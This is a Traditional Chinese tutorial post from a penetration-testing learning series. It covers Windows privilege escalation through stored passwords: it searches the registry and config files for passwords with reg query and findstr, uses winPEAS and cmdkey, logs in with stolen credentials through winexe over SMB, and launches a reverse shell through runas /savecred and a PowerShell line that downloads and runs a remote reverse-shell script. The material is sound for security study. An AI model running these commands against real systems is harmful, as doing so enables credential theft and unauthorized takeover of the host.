iT邦幫忙

2021 iThome 鐵人賽

1
Security

資安這條路─系統化學習滲透測試系列 第 37

Day37 - Windows 提權(8)-提權手法統整 Password 密碼相關

與 Password 密碼相關的 Windows 提權手法

  1. 儲存與註冊表中的明文密碼
  2. 儲存於 powershell 中的密碼
  3. 儲存於系統中的密碼
  4. 儲存設定檔中的密碼

註冊表

儲存與註冊表中的明文密碼

step1. 搜尋註冊表內是否有 password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

step2. 直接透過 winpeas 尋找
透過 winpeas winpeas.exe quiet filesinfouserinfo 可以在結果中找到 Looking for Autorun credentials 發現可利用的 Autorun credentialsPutty session其中還有帳號密碼。

可透過註冊表驗證
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

如果該帳號密碼是管理者權限(admin 或 administrator)可透過這些帳號密碼進行提升權限,如登入 SMB 服務。

使用攻擊機的 winexe 指令可以在 Linux 中執行 Windows 指令,並透過 SMB 進行登入:
winexe -U '帳號%密碼' //<受害主機IP> cmd.exe

或透過參數 --system 獲得系統的權限:
winexe -U '帳號%密碼' --system //<受害主機IP> cmd.exe

powershell

儲存於 powershell 中的密碼

step1. 搜尋註冊表內是否有 password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

step2. 執行腳本自動搜尋
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Start-Process -FilePath "powershell" -argumentlist "iex(new-object net.webclient).downloadString('腳本路徑/Invoke-PowerShellTcp.ps1')" -Credential $cred

儲存於系統中的密碼

step1. 直接透過 winpeas 尋找
透過 winpeas winpeas.exe quiet cmd windowscreds 可以在結果中找到 Checking Credential manage() 發現可利用的 Currently stored credentials 帳號密碼。

step2. 透過 cmdkey 列出處存的使用者帳號與密碼
cmdkey /list
Windows Server 適用版本(Windows Server 2022、Windows Server 2019、Windows Server 2016、Windows Server 2012 R2、Windows Server 2012) 可使用 cmdkey 指令。

指令 cmdkey 可以建立、列出和刪除儲存的使用者名稱和密碼或認證。

參數 說明
/list 列出所有儲存的帳號密碼
/add:<target> 新增到指定目標
/generic:<target> 加入通用的帳號密碼到目標
/smartcard 是否要從智慧卡找到密碼
/user:<username> 要儲存的帳號
/pass:<password> 要儲存的密碼

step3. 執行 runas 執行 revershell
runas /savecred /user:admin <要執行的程式路徑>
指令 runas 允許使用者以與使用者當前登錄提供的權限於不同的權限運行特定工具和程式。

參數 說明
/savecred 使用儲存過的密碼
/user:帳號 指定程式執行的使用者名稱
/profile 載入使用者資料,為預設值
/no profile 不加載使用者資料,可以加速加載資料
/env 使用目前網路環境非使用者本地環境
/netonly 指定的使用者資訊僅用於遠端存取
/smartcard 是否要從智慧卡找到密碼
/showtrustlevels 列出/trustlevel選項,查看可用的級別
/trustlevel 指定程式執行的授權級別
/? 顯示幫助清單

帳號格式:user@domain 或 Domain\User

儲存設定檔中的密碼

step1. 找密碼

dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt

step2. 透過 winpeas 尋找
透過 winpeas winpeas.exe quiet cmd searchfast filesinfo 可以在結果中找到 Searching known files that can contain creds 發現可利用的帳號密碼。

step3. 確認設定檔內容
type <檔案路徑>

step4. 或是使用 metasploit 模組
meterpreter > run post/windows/gather/enum_unattend

該模組會去搜尋以下的路徑:
可參考原始碼

C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep\Unattend.xml
C:\Windows\system32\sysprep\Panther\Unattend.xml

上一篇
Day36 - Windows 提權(7)-提權手法統整 Registry 相關
系列文
資安這條路─系統化學習滲透測試37

尚未有邦友留言

立即登入留言